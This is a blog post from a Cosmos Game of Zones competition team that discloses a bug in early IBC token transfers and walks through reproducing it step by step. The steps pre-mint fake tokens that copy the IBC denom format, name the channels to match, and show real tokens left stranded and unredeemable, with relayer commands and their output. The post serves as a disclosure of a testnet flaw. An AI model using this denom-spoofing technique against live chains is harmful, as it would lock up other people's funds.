GoZ phase-3: Invalidate REAL tokens by minting fake tokens

Anil K
Regen Network
Published in
3 min readJun 5, 2020

With Game of zones coming to an end, we have some exciting news to share. We found a bug that allowed us to invalidate tokens from GoZ Hub (doubloons) in our zone.

Our approach was simple and requires no code changes. We, the team Regen, have created some fake tokens to mimic the ibc-token representation on the destination chain (zone). The tokens transferred via IBC are represented in the form of transfer/<somechanstring>/<denom> and we used that for our attack.

We initialized our zone accounts with1000000000000000transfer/regentestchan/doubloons tokens and then transferred the real doubloons from hub to our zone. We ensured our channels are named “regentestchan” and now the reverse transfer is not possible, thus invalidating tokens.

Here is a step-by-step guide to reproduce this attack:

1. Setup the zone
Setup the zone with initial tokens to match with channel names. Let’s say the channel name is “regentestchan” and the tokens on destination chain are “doubloons”.

...
gaiad add-genesis-account gozkey 10000000000utree,1000000000000000transfer/regentestchan/doubloons
...

This will initialize the account with 2 tokens, one is for staking(utree) and the other is a fake token to trap destination tokens. We can do this via a minting function as well to mint different(denom) tokens dynamically. To keep it simple, we just utilized chain init.

2. Initialize the relayer and configure chains, keys

The next step is straight forward. Initialized the relayer and added chains & keys.

$ rly config init
$ rly ch a -f gameofzoneshub-3
$ rly ch a -f regengoz-3
$ rly keys restore gameofzoneshub-3 faucet "...."
$ rly keys restore regengoz-3 faucet "..."
$ rly l i regengoz-3
$ rly l i gameofzoneshub-3

3. Create a new path and use “regentestchan” as the channel name

rly pth add regengoz-3 gameofzoneshub-3 regenpath

Note: To keep it simple, you can just use “regentestchan” for every input (client, connection, and channels). Port is “transfer”

How the config looks like:

Path "regenpath" strategy(naive):
SRC(regen-3)
ClientID: regentestchan
ConnectionID: regentestchan
ChannelID: regentestchan
PortID: transfer
DST(gameofzoneshub-3)
ClientID: regentestchan
ConnectionID: regentestchan
ChannelID: regentestchan
PortID: transfer

4. Link the path

rly tx link regenpath

5. Now, query the initial balances

root@regen:~# rly q bal regengoz-3
1000000000000000transfer/regentestchan/doubloons,999999999925000utree
root@regen:~# rly q bal gameofzoneshub-3
9999996500doubloons

6. Make a transfer of 10000doubloons from the destination chain (hub) to the source.

root@regen:~# rly tx transfer gameofzoneshub-3 regengoz-3 10000doubloons false $(rly ch addr regengoz-3)
I[2020-06-05|09:11:42.089] ✔️ [gameofzoneshub-3]@{46346} - msg(0:transfer) hash(3544031185C720B32AF33F1E5B63F6A12E1C052C626258B505DDE216C73B44D8)
I[2020-06-05|09:11:51.962] ✔️ [regengoz-3]@{166} - msg(0:update_client,1:ics04/opaque) hash(D4F98CB4BB85E4D2F0C3B8EC3B9A6517ADA11BC4A319F1FEC6822F7A302A6526)

7. Query balances

root@regen:~# rly q bal gameofzoneshub-3
9999986000doubloons
root@regen:~# rly q bal regengoz-3 1000000000010000transfer/regentestchan/doubloons,999999999920000utree

all looks good, the transferred tokens are appended to initially created fake tokens.

8. Now transfer back the tokens from source to chain (i.e., 10000doubloons)

root@regen:~# rly tx transfer regengoz-3 gameofzoneshub-3 10000doubloons false $(rly ch addr gameofzoneshub-3)
I[2020-06-05|09:12:52.274] ✘ [regengoz-3]@{181} - msg(0:transfer) err(sdk:5:failed to execute message; message index: 0: 0doubloons is smaller than 10000doubloons: insufficient funds)
Error: failed to send first transaction

tried with source: true too, just to cross-check

root@regen:~# rly tx transfer regengoz-3 gameofzoneshub-3 10000doubloons true $(rly ch addr gameofzoneshub-3)
I[2020-06-05|09:12:52.274] ✘ [regengoz-3]@{178} - msg(0:transfer) err(sdk:5:failed to execute message; message index: 0: 0doubloons is smaller than 10000doubloons: insufficient funds)
Error: failed to send first transaction

This is failing. We are unable to transfer tokens back to the hub. It says it has 0 funds. Can’t even transfer a single token from the zone (source) to the hub (dest).

Final word!

This concludes that the tokens transferred to a zone are no-more valid and cannot be redeemed back.

Game of zones was real fun, exciting, and challenging. We would like to thank the GoZ team for all their efforts in making it a great success.

--

--

Anil K
Regen Network

CTO at Vitwit | Blockchain | AI & Quantum Enthusiast